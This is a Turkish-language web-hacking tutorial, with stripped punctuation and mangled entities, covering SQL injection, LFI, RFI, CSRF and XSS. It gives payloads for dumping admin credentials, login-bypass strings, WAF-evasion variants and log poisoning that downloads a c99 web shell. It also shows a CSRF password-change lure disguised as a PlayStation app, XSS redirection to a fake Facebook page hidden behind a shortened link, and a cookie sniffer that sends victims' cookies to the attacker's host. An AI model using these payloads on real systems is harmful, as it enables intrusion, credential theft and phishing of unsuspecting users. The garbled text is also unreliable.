wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 8: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

